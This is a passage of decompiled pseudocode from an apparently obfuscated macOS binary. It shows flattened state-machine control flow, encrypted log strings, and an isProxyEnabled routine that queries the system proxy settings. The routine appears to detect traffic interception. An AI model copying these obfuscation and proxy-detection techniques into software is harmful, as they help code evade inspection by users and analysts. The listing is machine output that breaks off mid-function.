asc_100286C50[5] = 110;
asc_100286C50[6] = 101;
asc_100286C50[7] = 116;
asc_100286C50[8] = 32;
asc_100286C50[9] = 83;
asc_100286C50[10] = 104;
asc_100286C50[11] = 97;
asc_100286C50[12] = 114;
*v181 = 351418096;
}
}
else
{
switch ( v117 )
{
case 891964386:
v0 = 0;
v1 = 827804844;
v2 = 814136104;
LABEL_675:
if ( !v0 )
v1 = v2;
goto LABEL_728;
case 895039604:
dword_10029F5F0 = 1;
v130 = &v59;
v83 = &v59;
v135 = &v59;
v118 = &v59;
v3 = 1;
v136 = &v59 - 8;
v1 = 895039604;
v4 = -1617260818;
goto LABEL_726;
case 901132615:
objc_release(v167);
v0 = 0;
v1 = 901132615;
v2 = 2005144872;
goto LABEL_675;
}
}
}
if ( v117 > 1694070407 )
break;
if ( v117 <= 1518878908 )
{
if ( v117 <= 1472610420 )
{
if ( v117 > 1415883097 )
{
if ( v117 > 1453404967 )
{
if ( v117 == 1453404968 )
{
v5 = 1;
v1 = -2024634478;
v6 = 1453404968;
goto LABEL_721;
}
if ( v117 == 1454354375 )
{
v8 = 0;
v1 = 96901196;
v9 = -627044366;
goto LABEL_713;
}
}
else if ( v117 == 1415883098 )
{
NSLog(
CFSTR("셿馓벡詼꘏祉퉓烩뤝餹蜏茜퐡\x76\xDC儛晆\x81\xDA\xF5\x07朷䍺\xE3\xDB\x20\xB0뮗籇ș먴羏៙녌먝꾕럎﷽䖆롘\x11\xDC嵽\x04ⷮ쀟颇ᩝᡍ䎯잽Ý"),
v133);
*v181 = 999741524;
}
else if ( v117 == 1430833957 )
{
*v181 = 1514363337;
}
}
else if ( v117 > 1401714680 )
{
if ( v117 == 1401714681 )
{
v3 = 1;
v1 = -888824210;
v4 = 340303207;
goto LABEL_726;
}
if ( v117 == 1403880282 )
{
v156 = v96 == 0;
*v181 = 11756148;
}
}
else
{
if ( v117 == 1345021305 )
{
v3 = 0;
v1 = 2083951907;
v4 = 1595372450;
goto LABEL_726;
}
if ( v117 == 1400656628 )
{
v3 = 1;
v1 = -463893032;
goto LABEL_648;
}
}
}
else if ( v117 <= 1492912959 )
{
if ( v117 > 1477502052 )
{
if ( v117 == 1477502053 )
{
*v181 = -1712803471;
}
else if ( v117 == 1487098323 )
{
v5 = 1;
v1 = 1688094734;
v6 = -134063229;
goto LABEL_721;
}
}
else
{
if ( v117 == 1472610421 )
{
v5 = 1;
v1 = -1919352372;
v6 = -473500971;
goto LABEL_721;
}
if ( v117 == 1476825778 )
{
*v181 = 234476909;
v176 = 0;
}
}
}
else if ( v117 <= 1502969821 )
{
if ( v117 == 1492912960 )
{
*v181 = 1086795106;
}
else if ( v117 == 1496883959 )
{
*v181 = -1370196651;
}
}
else
{
switch ( v117 )
{
case 1502969822:
objc_release(v131);
*v181 = 1647440005;
break;
case 1514363337:
v5 = 0;
v1 = 1430833957;
v6 = -1552394498;
goto LABEL_721;
case 1518590262:
v5 = 1;
v91 = v63;
v1 = -1389949220;
v6 = 1518590262;
goto LABEL_721;
}
}
}
else if ( v117 > 1607017449 )
{
if ( v117 <= 1647440004 )
{
if ( v117 > 1622743879 )
{
if ( v117 == 1622743880 )
{
objc_release(v121);
*v181 = -1351928524;
}
else if ( v117 == 1636986934 )
{
*v181 = 394151516;
}
}
else if ( v117 == 1607017450 )
{
*v181 = 234476909;
v176 = v164;
}
else if ( v117 == 1612997389 )
{
v152 = **v95 == v73;
v8 = 0;
v1 = 816908447;
v9 = -136584919;
goto LABEL_713;
}
}
else if ( v117 <= 1657477590 )
{
if ( v117 == 1647440005 )
{
objc_release(v131);
v3 = 1;
v1 = 1502969822;
v4 = 1961323555;
goto LABEL_726;
}
if ( v117 == 1655483730 )
{
v5 = 0;
v1 = 420543787;
v6 = 168095341;
goto LABEL_721;
}
}
else
{
switch ( v117 )
{
case 1657477591:
v3 = 0;
v1 = 1837695817;
v4 = 1657477591;
goto LABEL_726;
case 1668581476:
*v181 = 1518590262;
break;
case 1688094734:
v5 = 0;
v92 = (__int64)v91 + v64;
v1 = -134063229;
v6 = 293474680;
goto LABEL_721;
}
}
}
else if ( v117 <= 1574726223 )
{
if ( v117 > 1572263770 )
{
if ( v117 == 1572263771 )
{
v41 = HikariFunctionWrapper_18691(v132, v87);
v42 = objc_retainAutoreleasedReturnValue(v41);
v43 = objc_msgSend(v42, v88, CFSTR("."), &stru_10025B688);
v44 = objc_retainAutoreleasedReturnValue(v43);
objc_release(v42);
v45 = HikariFunctionWrapper_18693(v44);
v121 = objc_retainAutoreleasedReturnValue(v45);
objc_release(v44);
objc_msgSend(v167, v89, v121);
v8 = 0;
v1 = -2141412192;
v9 = 2057469293;
goto LABEL_713;
}
if ( v117 == 1574446945 )
{
v5 = 1;
v1 = -1559616873;
v6 = -1718349438;
goto LABEL_721;
}
}
else
{
if ( v117 == 1518878909 )
{
objc_retain(obj);
v40 = HikariFunctionWrapper_18699(obj, v138);
v151 = v40 == 0;
v5 = 1;
v71 = v40;
v1 = 1766943471;
v6 = 1518878909;
goto LABEL_721;
}
if ( v117 == 1547041480 )
{
objc_release(obj);
v157 = v110 + 1 == (_QWORD)v79;
v0 = 0;
v77 = v110 + 1;
v1 = 1547041480;
v2 = 15771764;
goto LABEL_675;
}
}
}
else if ( v117 <= 1595372449 )
{
if ( v117 == 1574726224 )
{
*v181 = -1541558597;
}
else if ( v117 == 1576624991 )
{
NSLog(
CFSTR("7\xB4\xA7\xBBD`\xF1\x02\x23\x63\xFD\x85(\xE2\x52\x8E\xD6\x25-\x1DO\x847\xED\xDC\x0F"),
CFSTR("\xBD\x85ج-\x11r,\x92Cи\xB4to2\tC\xE9\x89\x24\x03\x1DZDڥ\xAAY'\xB4;R\x8Fb\xE1\xE1\x12e@x\x8C\a?jm^\x1F\xB2r\x01\xD6\x19\x172\x15ܔ"));
v5 = 1;
v1 = -1336008910;
v6 = 1576624991;
goto LABEL_721;
}
}
else
{
switch ( v117 )
{
case 1595372450:
*v181 = 2083951907;
break;
case 1597763019:
*v181 = -1215064085;
break;
case 1598733778:
objc_retain(v122);
*v181 = 1162571639;
break;
}
}
}
if ( v117 > 1894653765 )
break;
if ( v117 > 1794479027 )
{
if ( v117 <= 1820162752 )
{
if ( v117 > 1801751786 )
{
if ( v117 == 1801751787 )
{
v8 = 0;
v1 = 1894653766;
v9 = -1515692054;
goto LABEL_713;
}
if ( v117 == 1819588685 )
*v181 = -39519936;
}
else
{
if ( v117 == 1794479028 )
{
v5 = 1;
v1 = -3912897;
v6 = 1794479028;
goto LABEL_721;
}
if ( v117 == 1797293483 )
{
v119 = "objectForKeyedSubscript:";
v16 = objc_msgSend(v131, "objectForKeyedSubscript:", CFSTR("\x80\x8Ej_"));
v127 = objc_retainAutoreleasedReturnValue(v16);
v17 = HikariFunctionWrapper_18687(v127, v119);
v128 = objc_retainAutoreleasedReturnValue(v17);
NSLog(CFSTR("\xAC\x97\xF0\xED\xC8\x5E\xF1\xC7\xC8\xDC\x0FL\x94\x03\xEF\x1B\xE9"), v128);
v0 = 0;
v84 = "intValue";
v1 = 1797293483;
v2 = -2049941668;
goto LABEL_675;
}
}
}
else if ( v117 <= 1852169430 )
{
if ( v117 == 1820162753 )
{
v5 = 0;
v1 = -267426150;
goto LABEL_720;
}
if ( v117 == 1837695817 )
{
*v181 = -1750799575;
v179 = 1;
goto LABEL_575;
}
}
else
{
switch ( v117 )
{
case 1852169431:
*v181 = 686571556;
break;
case 1859963348:
*v181 = -1983287233;
break;
case 1888159864:
*v181 = -1643720302;
v173 = 1;
v108 = v122;
break;
}
}
}
else if ( v117 <= 1718958056 )
{
if ( v117 > 1701065108 )
{
if ( v117 == 1701065109 )
{
v8 = 0;
v72 = *v95;
v1 = -920426080;
v9 = 859902958;
goto LABEL_713;
}
if ( v117 == 1718109927 )
{
v22 = -1788446654;
if ( v148 )
v22 = 787779466;
*v181 = v22;
v98 = v94;
}
}
else if ( v117 == 1694070408 )
{
*v181 = 1345021305;
}
else if ( v117 == 1700723226 )
{
*v181 = 1657477591;
}
}
else if ( v117 <= 1752870241 )
{
if ( v117 == 1718958057 )
{
*v181 = -1776809341;
}
else if ( v117 == 1734104087 )
{
NSLog(CFSTR("㛓\u2D7C떉߹ᠼ厩攩ˎ\x1C촕흳ᡱ젞蓧妙ꏯ퇯ꟸ퇮脈㞽슇䶾슼儲ꀪ軇"));
*v181 = -929805857;
}
}
else
{
switch ( v117 )
{
case 1752870242:
objc_msgSend(obj, v138, v136, v126, 16);
*v181 = 853383436;
break;
case 1766943471:
v53 = 1037243670;
if ( v151 )
v53 = -1684309635;
*v181 = v53;
v174 = v177;
v109 = v111;
break;
case 1788856383:
v158 = v97 == 0;
v3 = 0;
v1 = -303948887;
v4 = 1788856383;
goto LABEL_726;
}
}
}
if ( v117 <= 2033526099 )
break;
if ( v117 <= 2078870922 )
{
if ( v117 > 2057469292 )
{
if ( v117 == 2057469293 )
{
v32 = objc_msgSend(v132, v87, v92);
v33 = objc_retainAutoreleasedReturnValue(v32);
v34 = objc_msgSend(v33, v88, CFSTR("."), &stru_10025B688);
v35 = objc_retainAutoreleasedReturnValue(v34);
objc_release(v33);
v36 = clean(v35);
v37 = objc_retainAutoreleasedReturnValue(v36);
objc_release(v35);
objc_msgSend(v167, v89, v37);
*v181 = 1572263771;
}
else if ( v117 == 2069410883 )
{
*v181 = -50780924;
}
}
else
{
if ( v117 == 2033526100 )
{
v3 = 1;
v85 = (__int64 **)(v130 + 2);
v1 = -1520227939;
v4 = 1694070408;
goto LABEL_726;
}
if ( v117 == 2056311422 )
*v181 = 539286375;
}
}
else if ( v117 <= 2110947152 )
{
if ( v117 == 2078870923 )
{
objc_release(v167);
*v181 = 901132615;
}
else if ( v117 == 2083951907 )
{
v3 = 1;
v60 = *v85;
v1 = 1595372450;
v4 = -2052241097;
goto LABEL_726;
}
}
else
{
switch ( v117 )
{
case 2110947153:
v8 = 0;
v1 = 1576624991;
v9 = -1378944883;
goto LABEL_713;
case 2120220995:
v3 = 1;
v1 = 1173213776;
v4 = -1187044841;
goto LABEL_726;
case 2134662894:
*v181 = 922357485;
break;
}
}
}
if ( v117 > 1911821453 )
break;
if ( v117 > 1907166611 )
{
if ( v117 == 1907166612 )
{
objc_retain(v167);
v31 = HikariFunctionWrapper_18695(v167, v138);
v149 = v31 == 0;
v8 = 0;
v65 = v31;
v1 = -1918820593;
v9 = 1907166612;
goto LABEL_713;
}
if ( v117 == 1907982883 )
{
*v181 = -176309095;
v175 = v163;
}
}
else
{
if ( v117 == 1894653766 )
{
v30 = (unsigned __int8)objc_msgSend(v132, v129, CFSTR("\x8D|˯"));
v0 = 0;
v144 = v30;
v1 = 1894653766;
v2 = 123892669;
goto LABEL_675;
}
if ( v117 == 1897514560 )
{
NSLog(CFSTR("㛓\u2D7C떉߹ᠼ厩攩ˎ\x1C촕흳ᡱ젞蓧妙ꏯ퇯ꟸ퇮脈㞽슇䶾슼儲ꀪ軇"));
*v181 = 1734104087;
}
}
}
if ( v117 > 1961323554 )
break;
if ( v117 == 1911821454 )
{
v3 = 1;
v90 = *v62;
v1 = -1330761799;
v4 = 1078052028;
goto LABEL_726;
}
if ( v117 == 1934568554 )
{
objc_release(obj);
*v181 = 1547041480;
}
}
if ( v117 != 1996010943 )
break;
*v181 = -1185135134;
v170 = v160;
v102 = v80;
v103 = 0;
}
if ( v117 != 2005144872 )
break;
*v181 = -1946815801;
}
}
while ( v117 != 1961323555 );
return v165;
}
// 10019C3FC: variable 'v12' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 100286C50: using guessed type __int16 asc_100286C50[34];
// 100286D50: using guessed type __int16 asc_100286D50[47];
// 100286E60: using guessed type __CFString stru_100286E60;
// 100286EA0: using guessed type __CFString cfstr_T2_0;
// 100286F60: using guessed type __CFString stru_100286F60;
// 100286FA0: using guessed type __CFString stru_100286FA0;
// 100287020: using guessed type __CFString stru_100287020;
// 1002870A0: using guessed type __CFString stru_1002870A0;
// 100287120: using guessed type __CFString stru_100287120;
// 100287160: using guessed type __CFString stru_100287160;
// 1002871A0: using guessed type __CFString stru_1002871A0;
// 1002871E0: using guessed type __CFString stru_1002871E0;
// 10029F5F0: using guessed type int dword_10029F5F0;
//----- (00000001001A14E6) ----------------------------------------------------
#error "1001A14E6: too big function (funcsize=0)"
//----- (00000001001BC794) ----------------------------------------------------
__int64 isProxyEnabled()
{
__CFString *v0; // rbx
bool v1; // zf
int v2; // eax
int v3; // ecx
bool v4; // cf
int v5; // ecx
char v6; // cf
int v7; // ecx
bool v8; // zf
int v9; // ecx
id v10; // rax
CFDictionaryRef v11; // rax
unsigned __int8 v12; // al
int v13; // eax
int v14; // eax
int v15; // eax
void **v16; // rax
id v17; // rax
id v18; // rax
int v19; // eax
int v20; // eax
__int64 v21; // rax
int v22; // ecx
int v23; // eax
unsigned __int8 v24; // al
id v25; // rax
id v26; // rax
id v27; // r12
id v28; // rax
char v29; // al
unsigned __int8 v30; // al
int v31; // eax
unsigned __int8 v32; // al
id v33; // rax
id v34; // r14
id v35; // rax
id v36; // r15
id v37; // rax
int v38; // eax
unsigned __int8 v39; // al
unsigned __int8 v40; // al
int v41; // eax
void **v42; // rax
id v43; // rax
id v44; // rax
int v45; // eax
int v46; // eax
int v47; // eax
unsigned __int8 v48; // al
unsigned __int8 v49; // al
void *context; // [rsp+0h] [rbp-140h] BYREF
id v52; // [rsp+8h] [rbp-138h]
__int64 v53; // [rsp+10h] [rbp-130h]
_QWORD *v54; // [rsp+18h] [rbp-128h]
id v55; // [rsp+20h] [rbp-120h]
SEL v56; // [rsp+28h] [rbp-118h]
__int64 **v57; // [rsp+30h] [rbp-110h]
SEL v58; // [rsp+38h] [rbp-108h]
id v59; // [rsp+40h] [rbp-100h]
id v60; // [rsp+48h] [rbp-F8h]
__int64 v61; // [rsp+50h] [rbp-F0h]
__int64 v62; // [rsp+58h] [rbp-E8h]
unsigned int v63; // [rsp+64h] [rbp-DCh]
int v64; // [rsp+68h] [rbp-D8h]
int v65; // [rsp+6Ch] [rbp-D4h] BYREF
void **v66; // [rsp+70h] [rbp-D0h]
id obj; // [rsp+78h] [rbp-C8h]
SEL v68; // [rsp+80h] [rbp-C0h]
__int64 v69; // [rsp+88h] [rbp-B8h]
id v70; // [rsp+90h] [rbp-B0h]
void **v71; // [rsp+98h] [rbp-A8h]
SEL v72; // [rsp+A0h] [rbp-A0h]
bool v73; // [rsp+AAh] [rbp-96h]
bool v74; // [rsp+ABh] [rbp-95h]
bool v75; // [rsp+ACh] [rbp-94h]
bool v76; // [rsp+ADh] [rbp-93h]
unsigned __int8 v77; // [rsp+AEh] [rbp-92h]
char v78; // [rsp+AFh] [rbp-91h]
bool v79; // [rsp+B0h] [rbp-90h]
unsigned __int8 v80; // [rsp+B1h] [rbp-8Fh]
bool v81; // [rsp+B2h] [rbp-8Eh]
char v82; // [rsp+B3h] [rbp-8Dh]
unsigned __int8 v83; // [rsp+B4h] [rbp-8Ch]
char v84; // [rsp+B5h] [rbp-8Bh]
unsigned __int8 v85; // [rsp+B6h] [rbp-8Ah]
char v86; // [rsp+B7h] [rbp-89h]
bool v87; // [rsp+B8h] [rbp-88h]
unsigned __int8 v88; // [rsp+B9h] [rbp-87h]
bool v89; // [rsp+BAh] [rbp-86h]
bool v90; // [rsp+BBh] [rbp-85h]
bool v91; // [rsp+BCh] [rbp-84h]
char v92; // [rsp+BDh] [rbp-83h]
bool v93; // [rsp+BEh] [rbp-82h]
bool v94; // [rsp+BFh] [rbp-81h]
char v95; // [rsp+C0h] [rbp-80h]
bool v96; // [rsp+C1h] [rbp-7Fh]
bool v97; // [rsp+C2h] [rbp-7Eh]
char v98; // [rsp+C3h] [rbp-7Dh]
bool v99; // [rsp+C4h] [rbp-7Ch]
unsigned __int8 v100; // [rsp+C5h] [rbp-7Bh]
char v101; // [rsp+C6h] [rbp-7Ah]
unsigned __int8 v102; // [rsp+C7h] [rbp-79h]
bool v103; // [rsp+C8h] [rbp-78h]
unsigned __int8 v104; // [rsp+C9h] [rbp-77h]
bool v105; // [rsp+CAh] [rbp-76h]
unsigned __int8 v106; // [rsp+CBh] [rbp-75h]
bool v107; // [rsp+CCh] [rbp-74h]
unsigned __int8 v108; // [rsp+CDh] [rbp-73h]
bool v109; // [rsp+CEh] [rbp-72h]
unsigned __int8 v110; // [rsp+CFh] [rbp-71h]
bool v111; // [rsp+D0h] [rbp-70h]
unsigned __int8 v112; // [rsp+D1h] [rbp-6Fh]
bool v113; // [rsp+D2h] [rbp-6Eh]
unsigned __int8 v114; // [rsp+D3h] [rbp-6Dh]
bool v115; // [rsp+D4h] [rbp-6Ch]
bool v116; // [rsp+D5h] [rbp-6Bh]
char v117; // [rsp+D6h] [rbp-6Ah]
char v118; // [rsp+D7h] [rbp-69h]
id v119; // [rsp+D8h] [rbp-68h]
char v120; // [rsp+E1h] [rbp-5Fh]
char v121; // [rsp+E2h] [rbp-5Eh]
char v122; // [rsp+E3h] [rbp-5Dh]
char v123; // [rsp+E4h] [rbp-5Ch]
char v124; // [rsp+E5h] [rbp-5Bh]
char v125; // [rsp+E6h] [rbp-5Ah]
char v126; // [rsp+E7h] [rbp-59h]
char v127; // [rsp+E8h] [rbp-58h]
char v128; // [rsp+E9h] [rbp-57h]
char v129; // [rsp+EAh] [rbp-56h]
char v130; // [rsp+EBh] [rbp-55h]
char v131; // [rsp+ECh] [rbp-54h]
char v132; // [rsp+EDh] [rbp-53h]
char v133; // [rsp+EEh] [rbp-52h]
char v134; // [rsp+EFh] [rbp-51h]
char v135; // [rsp+F0h] [rbp-50h]
char v136; // [rsp+F1h] [rbp-4Fh]
char v137; // [rsp+F2h] [rbp-4Eh]
char v138; // [rsp+F3h] [rbp-4Dh]
char v139; // [rsp+F4h] [rbp-4Ch]
char v140; // [rsp+F5h] [rbp-4Bh]
char v141; // [rsp+F6h] [rbp-4Ah]
char v142; // [rsp+F7h] [rbp-49h]
SEL v143; // [rsp+F8h] [rbp-48h]
id v144; // [rsp+100h] [rbp-40h]
int *v145; // [rsp+108h] [rbp-38h]
__int64 v146; // [rsp+110h] [rbp-30h]
v146 = -1;
v63 = 1964036113;
v65 = 29196978;
v145 = &v65;
v0 = CFSTR("l\xA1");
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v65 <= -38647096 )
{
if ( v65 <= -1190416715 )
{
if ( v65 <= -1665751387 )
{
if ( v65 <= -1991550031 )
{
if ( v65 > -2061091461 )
{
if ( v65 > -2023693698 )
{
if ( v65 > -2000061046 )
{
if ( v65 == -2000061045 )
{
v6 = 0;
v2 = -415713225;
v7 = -970861732;
goto LABEL_704;
}
if ( v65 == -1999425522 )
*v145 = -1427958255;
}
else
{
if ( v65 == -2023693697 )
{
v4 = 1;
v57 = (__int64 **)(v71 + 2);
v2 = 551294213;
v5 = -2023693697;
goto LABEL_690;
}
if ( v65 == -2023077140 )
*v145 = -67970374;
}
}
else if ( v65 > -2036495782 )
{
if ( v65 == -2036495781 )
{
objc_msgSend(obj, v56, v71, v66, 16);
*v145 = 2139665422;
}
else if ( v65 == -2036385908 )
{
v93 = (unsigned __int8)objc_msgSend(
v144,
v143,
CFSTR("\xFC\x05\xFD\x06\xBB2\xBA\xA0\xB5")) == 0;
*v145 = -2097158110;
}
}
else if ( v65 == -2061091460 )
{
*v145 = -1580024135;
}
else if ( v65 == -2051687132 )
{
v94 = (unsigned __int8)objc_msgSend(v119, v72, CFSTR("l\xA1")) != 0;
*v145 = -1885357584;
}
}
else if ( v65 > -2097158111 )
{
if ( v65 > -2075962119 )
{
if ( v65 == -2075962118 )
{
aXd[1] = 84;
aXd[2] = 84;
aXd[3] = 80;
aXd[4] = 83;
aXd[5] = 80;
aXd[6] = 111;
aXd[7] = 114;
aXd[8] = 116;
aXd[9] = 0;
strcpy(aWS, "SOCKSEnable");
strcpy(aE68, "HTTPSEnable");
strcpy(asc_100288EFD, "SOCKSProxy");
strcpy(asc_100277430, "ProxyAutoDiscoveryEnable");
asc_100288E98[0] = 70;
asc_100288E98[1] = 84;
asc_100288E98[2] = 80;
asc_100288E98[3] = 80;
asc_100288E98[4] = 111;
asc_100288E98[5] = 114;
asc_100288E98[6] = 116;
asc_100288E98[7] = 0;
asc_100288F30[0] = 49;
asc_100288F30[1] = 0;
strcpy(asc_1002774D1, "HTTPEnable");
strcpy(asc_100288EBD, "GopherPort");
strcpy(asc_100288EE8, "HTTPProxy");
a4_7[0] = 72;
a4_7[1] = 84;
a4_7[2] = 84;
a4_7[3] = 80;
a4_7[4] = 80;
a4_7[5] = 111;
a4_7[6] = 114;
a4_7[7] = 116;
a4_7[8] = 0;
*v145 = 1245144756;
}
else if ( v65 == -2072440056 )
{
*v145 = -1050880881;
v131 = 1;
}
}
else if ( v65 == -2097158110 )
{
v38 = -2051687132;
if ( v93 )
v38 = -1410043260;
*v145 = v38;
v128 = v139;
}
else if ( v65 == -2083999855 )
{
*v145 = 749314622;
}
}
else if ( v65 > -2098008827 )
{
if ( v65 == -2098008826 )
{
v6 = 1;
v2 = -1451646923;
v7 = -490736925;
goto LABEL_704;
}
if ( v65 == -2097278768 )
*v145 = 577771657;
}
else if ( v65 == -2129720843 )
{
*v145 = -1190416714;
v127 = v92;
}
else if ( v65 == -2121365952 )
{
*v145 = -468889272;
}
}
else if ( v65 <= -1861852687 )
{
if ( v65 > -1929526681 )
{
if ( v65 > -1907274843 )
{
if ( v65 == -1907274842 )
{
*v145 = -1410043260;
v128 = v95;
}
else if ( v65 == -1885357584 )
{
v4 = 0;
v2 = 979522485;
LABEL_665:
v5 = -1339510281;
goto LABEL_690;
}
}
else if ( v65 == -1929526680 )
{
*v145 = 1999287192;
}
else if ( v65 == -1928251007 )
{
objc_msgSend(v119, v72, CFSTR("l\xA1"));
*v145 = 1589689078;
}
}
else if ( v65 > -1936013298 )
{
if ( v65 == -1936013297 )
{
v8 = 0;
v2 = -67970374;
v9 = -2023077140;
goto LABEL_684;
}
if ( v65 == -1933915650 )
{
v20 = -199085136;
if ( v74 )
v20 = 661926525;
*v145 = v20;
v132 = 0;
}
}
else if ( v65 == -1991550030 )
{
*v145 = 1993006456;
}
else if ( v65 == -1936807661 )
{
v107 = v106 == 0;
v6 = 0;
v2 = 12420483;
v7 = -388715603;
goto LABEL_704;
}
}
else if ( v65 <= -1756014461 )
{
if ( v65 > -1803080570 )
{
if ( v65 == -1803080569 )
{
v6 = 1;
v2 = -1696530401;
v7 = 23109458;
goto LABEL_704;
}
if ( v65 == -1758207804 )
{
v96 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR("W\x1F\n;{\x16\rs\xB3\x1A\nO")) == 0;
v4 = 1;
v2 = -473736241;
LABEL_473:
v5 = 1300960242;
goto LABEL_690;
}
}
else
{
if ( v65 == -1861852686 )
{
v6 = 1;
v101 = v141 & 1 | (v100 != 0);
v2 = -1861852686;
v7 = -2121365952;
goto LABEL_704;
}
if ( v65 == -1809619425 )
{
v8 = 0;
dword_10029F5F8 = 1;
v2 = 2066916828;
v9 = -1809619425;
goto LABEL_684;
}
}
}
else if ( v65 <= -1728473562 )
{
if ( v65 == -1756014460 )
{
v79 = (unsigned __int8)objc_msgSend(
v144,
v143,
CFSTR("X\xED\xB2\xF2u\x96\xBC\x80W\xEB\x78\xE3\xE2\x98\x01\x9A\xE1\x24\xA1\x05\x92\x0FK\x0E\x13")) == 0;
v8 = 0;
v2 = 1143082449;
v9 = -1756014460;
LABEL_684:
if ( v8 )
v2 = v9;
LABEL_713:
*v145 = v2;
}
else if ( v65 == -1738892296 )
{
*v145 = 1593819789;
}
}
else
{
switch ( v65 )
{
case -1728473561:
*v145 = 228087085;
break;
case -1699108111:
v45 = 865267701;
if ( v116 )
v45 = 661926525;
*v145 = v45;
v120 = v142;
v60 = v59;
v132 = v142;
break;
case -1696530401:
*v145 = 23109458;
break;
}
}
}
else if ( v65 > -1444489844 )
{
if ( v65 <= -1356335070 )
{
if ( v65 > -1388816867 )
{
if ( v65 > -1368283753 )
{
if ( v65 == -1368283752 )
{
v8 = 0;
v84 = v135 & 1 | (v83 != 0);
v2 = -1165780077;
v9 = -1368283752;
goto LABEL_684;
}
if ( v65 == -1359974238 )
{
v135 = v123;
v1 = (unsigned __int8)HikariFunctionWrapper_18913(v144, v143) == 0;
v23 = 801643790;
if ( v1 )
v23 = -1501049823;
*v145 = v23;
v124 = v135;
}
}
else
{
if ( v65 == -1388816866 )
{
v1 = 0;
v2 = 1023149276;
v3 = -728407457;
goto LABEL_711;
}
if ( v65 == -1385792694 )
*v145 = -1991550030;
}
}
else if ( v65 > -1427958256 )
{
if ( v65 == -1427958255 )
{
v6 = 0;
v2 = 1112211908;
goto LABEL_639;
}
if ( v65 == -1410043260 )
{
v140 = v128;
v4 = 1;
v2 = -1758207804;
goto LABEL_473;
}
}
else if ( v65 == -1444489843 )
{
*v145 = -1359974238;
v123 = v82;
}
else if ( v65 == -1442970864 )
{
v8 = 0;
v2 = 1956789766;
v9 = -906628624;
goto LABEL_684;
}
}
else if ( v65 <= -1315999640 )
{
if ( v65 > -1339510282 )
{
if ( v65 == -1339510281 )
{
v4 = 1;
v95 = (v94 | v139) & 1;
v2 = -286061255;
goto LABEL_665;
}
if ( v65 == -1327784234 )
{
v138 = v126;
v4 = 0;
v2 = 543364346;
v5 = -34762499;
goto LABEL_690;
}
}
else if ( v65 == -1356335069 )
{
*v145 = -568805224;
}
else if ( v65 == -1341945082 )
{
*v145 = 1245553067;
}
}
else if ( v65 <= -1259167645 )
{
if ( v65 == -1315999639 )
{
v1 = 0;
v2 = -825521510;
v3 = -1063200978;
LABEL_711:
if ( !v1 )
v2 = v3;
goto LABEL_713;
}
if ( v65 == -1296470391 )
{
v6 = 1;
v2 = 1520518895;
v7 = -182324270;
goto LABEL_704;
}
}
else
{
switch ( v65 )
{
case -1259167644:
*v145 = 844619094;
break;
case -1222376824:
*v145 = -609916333;
v130 = v101;
break;
case -1211610366:
objc_autoreleasePoolPush();
v11 = SCDynamicStoreCopyProxies(0);
objc_retain(v11);
*v145 = -1603975742;
break;
}
}
}
else if ( v65 <= -1576277079 )
{
if ( v65 > -1603975743 )
{
if ( v65 > -1580024136 )
{
if ( v65 == -1580024135 )
{
v8 = 0;
v69 = *(_QWORD *)(*v54 + 8 * v62);
v2 = -1259167644;
v9 = -1580024135;
goto LABEL_684;
}
if ( v65 == -1577150512 )
{
v6 = 0;
v2 = -38647095;
LABEL_583:
v7 = 1728404666;
goto LABEL_704;
}
}
else
{
if ( v65 == -1603975742 )
{
v71 = &context - 8;
v66 = &context - 16;
context = objc_autoreleasePoolPush();
v70 = HikariFunctionWrapper_18905(0);
objc_retain(v70);
v8 = 0;
v2 = -212911691;
goto LABEL_635;
}
if ( v65 == -1591112361 )
*v145 = -1861852686;
}
}
else if ( v65 > -1649146543 )
{
if ( v65 == -1649146542 )
{
v100 = (unsigned __int8)HikariFunctionWrapper_18915(v119, v72);
*v145 = -1610495030;
}
else if ( v65 == -1610495030 )
{
v1 = 0;
v2 = -1591112361;
v3 = -1861852686;
goto LABEL_711;
}
}
else if ( v65 == -1665751386 )
{
*v145 = -1936013297;
}
else if ( v65 == -1657166149 )
{
*v145 = 865267701;
v120 = 0;
v60 = v52;
}
}
else if ( v65 <= -1527200319 )
{
if ( v65 > -1540472238 )
{
if ( v65 == -1540472237 )
{
*v145 = -1442970864;
}
else if ( v65 == -1532320816 )
{
v6 = 0;
v2 = -1580024135;
v7 = -2061091460;
goto LABEL_704;
}
}
else
{
if ( v65 == -1576277078 )
{
v4 = 1;
v2 = 1819226765;
v5 = -805420734;
goto LABEL_690;
}
if ( v65 == -1560826492 )
{
objc_enumerationMutation(obj);
*v145 = 769765123;
}
}
}
else if ( v65 <= -1501049824 )
{
if ( v65 == -1527200318 )
{
*v145 = 896769023;
}
else if ( v65 == -1526770566 )
{
v62 = v61;
v133 = v121;
v4 = 1;
v2 = 1583363111;
v5 = 1737242983;
goto LABEL_690;
}
}
else
{
switch ( v65 )
{
case -1501049823:
v136 = v124;
v1 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR(",E\x1F픺6\x188\xCF\x1E]")) == 0;
v46 = 652786338;
if ( v1 )
v46 = -430678768;
*v145 = v46;
v125 = v136;
break;
case -1456399608:
objc_msgSend(
v144,
v143,
CFSTR("X\xED\xB2\xF2u\x96\xBC\x80W\xEB\x78\xE3\xE2\x98\x01\x9A\xE1\x24\xA1\x05\x92\x0FK\x0E\x13"));
*v145 = -1756014460;
break;
case -1451646923:
*v145 = -490736925;
break;
}
}
}
else if ( v65 > -568805225 )
{
if ( v65 > -390808394 )
{
if ( v65 <= -212911692 )
{
if ( v65 > -286061256 )
{
if ( v65 > -243813751 )
{
if ( v65 == -243813750 )
{
v8 = 0;
v2 = 2030600073;
v9 = 2133844646;
goto LABEL_684;
}
if ( v65 == -226536013 )
{
v87 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR("\xB3a\xB1i7\xA7\x1C^&")) == 0;
v6 = 0;
v2 = -653732067;
LABEL_645:
v7 = -226536013;
goto LABEL_704;
}
}
else if ( v65 == -286061255 )
{
*v145 = -1907274842;
}
else if ( v65 == -272368989 )
{
*v145 = -1803080569;
}
}
else if ( v65 > -366626991 )
{
if ( v65 == -366626990 )
{
v82 = (v81 | v134) & 1;
*v145 = -1444489843;
}
else if ( v65 == -337878868 )
{
v4 = 1;
v2 = 1675191154;
LABEL_619:
v5 = 87068591;
goto LABEL_690;
}
}
else if ( v65 == -390808393 )
{
*v145 = 1200652631;
v122 = v78;
}
else if ( v65 == -388715603 )
{
*v145 = -1936807661;
}
}
